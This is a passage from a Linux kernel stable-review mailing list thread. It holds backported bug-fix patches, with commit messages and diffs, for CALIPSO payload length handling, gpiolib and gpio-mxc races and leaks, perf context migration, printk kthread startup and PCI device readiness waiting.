skb->data, so skb->len - sizeof(*ip6_hdr) is the payload length.
Tested on one kernel (arm64, QEMU) with SELinux permissive, a minimal
mdp-generated policy (network_peer_controls=1), "netlabelctl calipso
add pass doi:16" and a NetLabel mapping of fd00:2::/64 to CALIPSO
DOI 16. calipso_skbuff_setattr() was called through
netlbl_skbuff_setattr() from a test-only debugfs hook (not part of
this patch) adding a level-only label; payload_len after the call:
case before fix after fix real length
1000, unlabeled 1016 1016 1016
70000 GSO, payload_len 0 16 0 70016
65530 GSO, grows past MAXPLEN 10 0 65546
65540 GSO with a 24 byte hop
header, shrinks below MAXPLEN 65528 65532 65532
1000 with a 24 byte hop header 992 992 992
(0 means ipv6_payload_len() returns the real length.) On the forward
path, with a client injecting unlabeled UDP through a router to a
server, the router adds the CALIPSO option and the server delivers all
datagrams (Udp6InDatagrams 5, Ip6InTruncatedPkts 0) with this patch.
Fixes: 81fbc812132c ("ipv6/gro: insert temporary HBH/jumbo header")
Suggested-by: Eric Dumazet <edumazet@kernel.org>
Suggested-by: Wang Zhan <wang.zhan@smartx.com>
Signed-off-by: Joas Antonio dos Santos <joasantonio108@gmail.com>
Assisted-by: Claude:claude-opus-5-5
Reviewed-by: Wang Zhan <wang.zhan@smartx.com>
Acked-by: Paul Moore <paul@paul-moore.com>
Link: https://patch.msgid.link/179156155963.36253.400481753322266658@gmail.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/ipv6/calipso.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
index 21f6ed126253a..22008f5a2973d 100644
--- a/net/ipv6/calipso.c
+++ b/net/ipv6/calipso.c
@@ -1319,7 +1319,7 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
struct ipv6hdr *ip6_hdr;
struct ipv6_opt_hdr *hop;
unsigned char buf[CALIPSO_MAX_BUFFER];
- int len_delta, new_end, pad, payload;
+ int len_delta, new_end, pad;
unsigned int start, end;
ip6_hdr = ipv6_hdr(skb);
@@ -1358,8 +1358,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
sizeof(*ip6_hdr) + start);
skb_reset_network_header(skb);
ip6_hdr = ipv6_hdr(skb);
- payload = ntohs(ip6_hdr->payload_len);
- ip6_hdr->payload_len = htons(payload + len_delta);
+ /* 0 above IPV6_MAXPLEN (BIG TCP), the real length otherwise */
+ ipv6_set_payload_len(ip6_hdr, skb->len - sizeof(*ip6_hdr));
}
hop = (struct ipv6_opt_hdr *)(ip6_hdr + 1);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 062/193] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (60 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 061/193] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 081/242] net: ethernet: aeroflex: move setting of netops to fix crash Greg Kroah-Hartman
` (141 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Kent Gibson,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kent Gibson <warthog618@gmail.com>
[ Upstream commit c28846ca1ac6134881114d272314623c8433e372 ]
A drive-by review by Sashiko reports that, after a failed call to
gpiochip_set_multiple(), gpiod_set_array_value() returns abruptly,
bypassing the freeing of possibly alloced bitmaps, potentially leaking
memory. It is an unlikely error path, but is possible.
Defer the return code check until after the bitmap_free() block.
Fixes: 9b407312755f ("gpiolib: rework the wrapper around gpio_chip::set_multiple()")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Link: https://lore.kernel.org/linux-gpio/sashiko-outbox-168233@kernel.org/
Signed-off-by: Kent Gibson <warthog618@gmail.com>
Link: https://patch.msgid.link/20261015025749.47039-1-warthog618@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpiolib.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpiolib.c b/drivers/gpio/gpiolib.c
index 9d3c33e1c9f99..d0efcb96d2769 100644
--- a/drivers/gpio/gpiolib.c
+++ b/drivers/gpio/gpiolib.c
@@ -3798,16 +3798,17 @@ int gpiod_set_array_value_complex(bool raw, bool can_sleep,
} while ((i < array_size) &&
gpio_device_chip_cmp(desc_array[i]->gdev, guard.gc));
/* push collected bits to outputs */
- if (count != 0) {
+ ret = 0;
+ if (count != 0)
ret = gpiochip_set_multiple(guard.gc, mask, bits);
- if (ret)
- return ret;
- }
if (mask != fastpath_mask)
bitmap_free(mask);
if (bits != fastpath_bits)
bitmap_free(bits);
+
+ if (ret)
+ return ret;
}
return 0;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 063/193] gpio: mxc: fix race between chained IRQ handler install and probe completion
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
0 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Linus Walleij,
Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 38d44f78f041ffe60c8e2443b99434a199e7541d ]
mxc_update_irq_chained_handler() is called before the IRQ domain, the
generic IRQ chip, and the port list entry are set up. If an interrupt
arrives in that window:
- mx3_gpio_irq_handler() calls generic_handle_domain_irq() with
port->domain still NULL.
- mx2_gpio_irq_handler() walks mxc_gpio_ports, but the port has not
been added to the list yet.
Additionally, if any of the subsequent probe steps
(gpio_generic_chip_init(), devm_gpiochip_add_data(),
irq_domain_create_legacy(), or mxc_gpio_init_gc()) fail, the error
paths never unregister the chained handler, leaving a dangling handler
that points at freed memory.
Move the handler installation after all its dependencies are ready and
after list_add_tail(), so the handler is never live while the data
structures it touches are incomplete, and is never installed if probe
fails.
Fixes: 5f6d1998adeb ("gpio: mxc: release the parent IRQ in runtime suspend")
Assisted-by: LLM
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-1-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index 12f11a6c96653..9c4db51489730 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -474,8 +474,6 @@ static int mxc_gpio_probe(struct platform_device *pdev)
} else
port->mx_irq_handler = mx3_gpio_irq_handler;
- mxc_update_irq_chained_handler(port, true);
-
config.dev = &pdev->dev;
config.sz = 4;
config.dat = port->base + GPIO_PSR;
@@ -525,6 +523,8 @@ static int mxc_gpio_probe(struct platform_device *pdev)
list_add_tail(&port->node, &mxc_gpio_ports);
+ mxc_update_irq_chained_handler(port, true);
+
platform_set_drvdata(pdev, port);
pm_runtime_put_autosuspend(&pdev->dev);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 064/193] gpio: mxc: fix both_edges bit operations
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (62 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 081/242] net: ethernet: aeroflex: move setting of netops to fix crash Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 065/193] gpio: mxc: use BIT() macro Greg Kroah-Hartman
` (139 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Linus Walleij,
Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit b7719c575dec69146f6d537fd616b27083c0cf45 ]
gpio_set_irq_type() can be called concurrently for different pins on
the same port. The IRQ core serializes per irq descriptor, but
different pins have different descriptors, so on SMP systems two
concurrent gpio_set_irq_type() calls for pins on the same port run
without mutual exclusion.
The read-modify-write of port->both_edges is performed outside the
port-wide scoped_guard(gpio_generic_lock_irqsave) section, so
concurrent updates for different pins can overwrite each other,
causing missed interrupts or stuck IRQ lines on dual-edge triggered
pins.
The original uniprocessor MXC SoCs were not affected; the race
became reachable on multi-core i.MX7 and i.MX8 SoCs that reuse this
driver.
Convert both_edges from u32 to unsigned long and use set_bit(),
clear_bit(), and test_bit() to make the modifications atomic.
Fixes: 910862ec092c ("mxc: emulate GPIO interrupt on both-edges")
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-2-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index 9c4db51489730..b71f4b4b6bc2a 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -7,6 +7,7 @@
// Authors: Daniel Mack, Juergen Beisert.
// Copyright (C) 2004-2010 Freescale Semiconductor, Inc. All Rights Reserved.
+#include <linux/bitops.h>
#include <linux/cleanup.h>
#include <linux/clk.h>
#include <linux/err.h>
@@ -68,7 +69,7 @@ struct mxc_gpio_port {
struct irq_domain *domain;
struct gpio_generic_chip gen_gc;
struct device *dev;
- u32 both_edges;
+ unsigned long both_edges;
struct mxc_gpio_reg_saved gpio_saved_reg;
bool power_off;
u32 wakeup_pads;
@@ -168,7 +169,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type)
int edge;
void __iomem *reg = port->base;
- port->both_edges &= ~(1 << gpio_idx);
+ clear_bit(gpio_idx, &port->both_edges);
switch (type) {
case IRQ_TYPE_EDGE_RISING:
edge = GPIO_INT_RISE_EDGE;
@@ -188,7 +189,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type)
edge = GPIO_INT_HIGH_LEV;
pr_debug("mxc: set GPIO %d to high trigger\n", gpio_idx);
}
- port->both_edges |= 1 << gpio_idx;
+ set_bit(gpio_idx, &port->both_edges);
}
break;
case IRQ_TYPE_LEVEL_LOW:
@@ -259,7 +260,7 @@ static void mxc_gpio_irq_handler(struct mxc_gpio_port *port, u32 irq_stat)
while (irq_stat != 0) {
int irqoffset = fls(irq_stat) - 1;
- if (port->both_edges & (1 << irqoffset))
+ if (test_bit(irqoffset, &port->both_edges))
mxc_flip_edge(port, irqoffset);
generic_handle_domain_irq(port->domain, irqoffset);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 065/193] gpio: mxc: use BIT() macro
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (63 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 064/193] gpio: mxc: fix both_edges bit operations Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 066/193] gpio: mxc: fix wakeup_pads bit operations Greg Kroah-Hartman
` (138 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexander Stein, Frank Li,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Stein <alexander.stein@ew.tq-group.com>
[ Upstream commit 9de94681ee48770ec7e2062451a572b557bf9298 ]
Replace the open-code with the BIT() macro.
Signed-off-by: Alexander Stein <alexander.stein@ew.tq-group.com>
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Link: https://patch.msgid.link/20260526063504.25916-2-alexander.stein@ew.tq-group.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Stable-dep-of: 170aeff46fb5 ("gpio: mxc: fix wakeup_pads bit operations")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index b71f4b4b6bc2a..7e17d7668980d 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -331,13 +331,13 @@ static int gpio_set_wake_irq(struct irq_data *d, u32 enable)
ret = enable_irq_wake(port->irq_high);
else
ret = enable_irq_wake(port->irq);
- port->wakeup_pads |= (1 << gpio_idx);
+ port->wakeup_pads |= BIT(gpio_idx);
} else {
if (port->irq_high && (gpio_idx >= 16))
ret = disable_irq_wake(port->irq_high);
else
ret = disable_irq_wake(port->irq);
- port->wakeup_pads &= ~(1 << gpio_idx);
+ port->wakeup_pads &= ~BIT(gpio_idx);
}
return ret;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 066/193] gpio: mxc: fix wakeup_pads bit operations
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (64 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 065/193] gpio: mxc: use BIT() macro Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 067/193] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
` (137 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Andy Shevchenko,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 170aeff46fb54f41545c85a72aec525aebc79d44 ]
gpio_set_wake_irq() can be called concurrently for different pins on
the same port. The writer-vs-writer race is the concern: two concurrent
gpio_set_wake_irq() calls for different pins on the same port both do
a non-atomic read-modify-write on the same wakeup_pads word. The old
|= and &= compile to separate load/modify/store instructions that can
interleave, losing one CPU's update.
assign_bit() uses an atomic RMW instruction, so concurrent writers to
different bits in the same word are safe.
The reader side (for_each_set_bit in noirq_suspend, wakeup_pads > 0)
runs in noirq context where no concurrent writer can execute, so
reader atomicity is not needed.
wakeup_pads is a u32, while assign_bit() operates on unsigned long
pointers. On 64-bit platforms, this causes an 8-byte read-modify-write
on a 4-byte field, corrupting the adjacent is_pad_wakeup. So change
wakeup_pads to unsigned long and reorder to avoid wasting words.
And fix the enable/disable path unconditionally sets/clears the
wakeup_pads bit even when enable_irq_wake()/disable_irq_wake() fails.
Only update the bit on success.
Fixes: f60c9eac54af ("gpio: mxc: enable pad wakeup on i.MX8x platforms")
Assisted-by: LLM
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-3-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 10 ++++++----
1 file changed, 6 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index 7e17d7668980d..e3a80f17d0412 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -72,8 +72,8 @@ struct mxc_gpio_port {
unsigned long both_edges;
struct mxc_gpio_reg_saved gpio_saved_reg;
bool power_off;
- u32 wakeup_pads;
bool is_pad_wakeup;
+ unsigned long wakeup_pads;
u32 pad_type[32];
const struct mxc_gpio_hwdata *hwdata;
};
@@ -331,16 +331,18 @@ static int gpio_set_wake_irq(struct irq_data *d, u32 enable)
ret = enable_irq_wake(port->irq_high);
else
ret = enable_irq_wake(port->irq);
- port->wakeup_pads |= BIT(gpio_idx);
} else {
if (port->irq_high && (gpio_idx >= 16))
ret = disable_irq_wake(port->irq_high);
else
ret = disable_irq_wake(port->irq);
- port->wakeup_pads &= ~BIT(gpio_idx);
}
+ if (ret)
+ return ret;
- return ret;
+ assign_bit(gpio_idx, &port->wakeup_pads, enable);
+
+ return 0;
}
static int mxc_gpio_init_gc(struct mxc_gpio_port *port, int irq_base)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 067/193] gpio: mxc: fix race between gpiochip registration and IRQ domain setup
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (65 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 066/193] gpio: mxc: fix wakeup_pads bit operations Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 068/193] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
` (136 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Peng Fan, Linus Walleij, Frank Li,
Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 205cccd06e545694754e1bf8d626ea96e742cd8a ]
devm_gpiochip_add_data() makes the GPIO chip visible to consumers
immediately. Since the chip sets .to_irq = mxc_gpio_to_irq, which calls
irq_find_mapping(port->domain, offset), any to_irq() call between
gpiochip registration and IRQ domain creation will operate on a NULL
domain.
Fix by moving devm_gpiochip_add_data() after the IRQ domain and generic
irq chip are fully initialized, ensuring port->domain and the irq chip
handlers are ready before the chip becomes visible to consumers.
Fixes: d37a65bb4663 ("gpio/mxc: Move Freescale MXC gpio driver to drivers/gpio")
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-4-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 13 +++++++++----
1 file changed, 9 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index e3a80f17d0412..32ded7b548fb7 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -500,10 +500,6 @@ static int mxc_gpio_probe(struct platform_device *pdev)
else /* silence boot time warning */
port->gen_gc.gc.base = -1;
- err = devm_gpiochip_add_data(&pdev->dev, &port->gen_gc.gc, port);
- if (err)
- goto out_bgio;
-
irq_base = devm_irq_alloc_descs(&pdev->dev, -1, 0, 32, numa_node_id());
if (irq_base < 0) {
err = irq_base;
@@ -524,6 +520,15 @@ static int mxc_gpio_probe(struct platform_device *pdev)
if (err < 0)
goto out_irqdomain_remove;
+ /*
+ * Register the GPIO chip last: devm_gpiochip_add_data() makes the
+ * chip visible to consumers immediately, so the IRQ domain and
+ * generic irq chip must be ready before any to_irq() call.
+ */
+ err = devm_gpiochip_add_data(&pdev->dev, &port->gen_gc.gc, port);
+ if (err)
+ goto out_irqdomain_remove;
+
list_add_tail(&port->node, &mxc_gpio_ports);
mxc_update_irq_chained_handler(port, true);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 068/193] perf: Fix perf_pmu_migrate_context() leaving events behind
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (66 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 067/193] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 069/193] printk: Postpone kthread startup Greg Kroah-Hartman
` (135 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Haris Okanovic,
Peter Zijlstra (Intel), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Haris Okanovic <harisokn@amazon.com>
[ Upstream commit e76b36b4be7160eaa14b416681e548b125702395 ]
__perf_pmu_remove() walks the group leaders of a CPU and PMU with
perf_event_groups_for_cpu_pmu(), removing each one as it goes.
perf_remove_from_context() takes the leader out of the groups rbtree,
after which rb_next() on that node returns NULL, prematurely ending the
walk. Other groups stay behind in the source context.
On CPU hotplug, they are then torn down with the dying CPU. They keep
running until teardown, while the PMU's interrupt and migrated events
are on a new CPU, which drivers rely on never happening.
Walk ctx->event_list instead and pick out the PMU's events by their
pmu_ctx.
Fixes: bd2756811766 ("perf: Rewrite core context handling")
Signed-off-by: Haris Okanovic <harisokn@amazon.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Link: https://patch.msgid.link/20261013185603.1347265-2-harisokn@amazon.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/events/core.c | 20 +++++++-------------
1 file changed, 7 insertions(+), 13 deletions(-)
diff --git a/kernel/events/core.c b/kernel/events/core.c
index 018a1e4ef5b0d..17499b724f852 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -13978,23 +13978,18 @@ perf_event_create_kernel_counter(struct perf_event_attr *attr, int cpu,
}
EXPORT_SYMBOL_GPL(perf_event_create_kernel_counter);
-static void __perf_pmu_remove(struct perf_event_context *ctx,
- int cpu, struct pmu *pmu,
- struct perf_event_groups *groups,
+static void __perf_pmu_remove(struct perf_event_context *ctx, struct pmu *pmu,
struct list_head *events)
{
- struct perf_event *event, *sibling;
+ struct perf_event *event, *tmp;
+
+ list_for_each_entry_safe(event, tmp, &ctx->event_list, event_entry) {
+ if (event->pmu_ctx->pmu != pmu)
+ continue;
- perf_event_groups_for_cpu_pmu(event, groups, cpu, pmu) {
perf_remove_from_context(event, 0);
put_pmu_ctx(event->pmu_ctx);
list_add(&event->migrate_entry, events);
-
- for_each_sibling_event(sibling, event) {
- perf_remove_from_context(sibling, 0);
- put_pmu_ctx(sibling->pmu_ctx);
- list_add(&sibling->migrate_entry, events);
- }
}
}
@@ -14070,8 +14065,7 @@ void perf_pmu_migrate_context(struct pmu *pmu, int src_cpu, int dst_cpu)
*/
mutex_lock_double(&src_ctx->mutex, &dst_ctx->mutex);
- __perf_pmu_remove(src_ctx, src_cpu, pmu, &src_ctx->pinned_groups, &events);
- __perf_pmu_remove(src_ctx, src_cpu, pmu, &src_ctx->flexible_groups, &events);
+ __perf_pmu_remove(src_ctx, pmu, &events);
if (!list_empty(&events)) {
/*
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 069/193] printk: Postpone kthread startup
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (67 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 068/193] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 070/193] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
` (134 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Derek Barbosa, John Ogness,
Petr Mladek, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: John Ogness <john.ogness@linutronix.de>
[ Upstream commit 5f339c46f153184570f16c8e789c9709b14cbe8b ]
There have been various bug reports related to SMP systems hanging
on boot. The reports vary but seem to have some overlap with regard
to missed IPI's during SMP setup. The reports also show that
reverting NBCON console usage allows the bugs to disappear.
The NBCON kthreads for console printing are started very early
during boot using early_initcall(). Since these kthreads are
asynchronously enabling/disabling interrupts during early boot, they
may be interfering with early SMP setup on some hardware platforms.
Starting the console printing kthreads later has shown to avoid the
hanging on systems that could previously reproduce the issue.
Postpone kthread starting until after all arch initcalls have
completed.
Reported-by: Derek Barbosa <debarbos@redhat.com>
Closes: https://lore.kernel.org/linux-rt-users/arPmYPbFLf2EldIl@debarbos-thinkpadt14gen5.rmtusma.csb
Fixes: 76f258bf3f2a ("printk: nbcon: Introduce printer kthreads")
Signed-off-by: John Ogness <john.ogness@linutronix.de>
Tested-by: Derek Barbosa <debarbos@redhat.com>
Link: https://patch.msgid.link/20261016085441.857695-1-john.ogness@linutronix.de
Signed-off-by: Petr Mladek <pmladek@suse.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/printk/printk.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/kernel/printk/printk.c b/kernel/printk/printk.c
index dffdbbfa4a005..d555d05ffa8d4 100644
--- a/kernel/printk/printk.c
+++ b/kernel/printk/printk.c
@@ -3819,7 +3819,7 @@ static int __init printk_set_kthreads_ready(void)
return 0;
}
-early_initcall(printk_set_kthreads_ready);
+subsys_initcall(printk_set_kthreads_ready);
#endif /* CONFIG_PRINTK */
static int __read_mostly keep_bootcon;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 070/193] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (68 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 069/193] printk: Postpone kthread startup Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 071/193] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
` (133 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lukas Wunner, Alexander Gruhlke,
Bjorn Helgaas, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Gruhlke <gruhlke@mailbox.org>
[ Upstream commit e8df1d194c39b7a5159d570798941851f70a8668 ]
With RRS Software Visibility, pci_dev_wait() considers a device ready as
soon as reading the Vendor ID doesn't return the RRS value. Devices aren't
required to respond with RRS while they aren't ready, so the read may
return ~0 and pci_dev_wait() stops waiting too early. This was seen with
Intel [8086:0a54] and Samsung [144d:a80c] NVMe SSDs.
Also wait while the Vendor ID reads ~0. A VF's Vendor ID always reads ~0,
so check its Command register instead, as is done without RRS SV.
Fixes: d591f6804e7e ("PCI: Wait for device readiness with Configuration RRS")
Link: https://lore.kernel.org/r/20250611101442.387378-1-hui.wang@canonical.com
Suggested-by: Lukas Wunner <lukas@wunner.de>
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Alexander Gruhlke <gruhlke@mailbox.org>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Reviewed-by: Lukas Wunner <lukas@wunner.de>
Link: https://patch.msgid.link/20261011190145.23621-3-gruhlke@mailbox.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pci/pci.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
diff --git a/drivers/pci/pci.c b/drivers/pci/pci.c
index 264213aa7630b..78d4411e3255b 100644
--- a/drivers/pci/pci.c
+++ b/drivers/pci/pci.c
@@ -1227,9 +1227,11 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)
* initialize.
*
* If the device is below a Root Port with Configuration RRS
- * Software Visibility enabled, reading the Vendor ID returns a
+ * Software Visibility enabled, reading the Vendor ID may return a
* special data value if the device responded with RRS. Read the
- * Vendor ID until we get non-RRS status.
+ * Vendor ID until we get non-RRS status and something other than
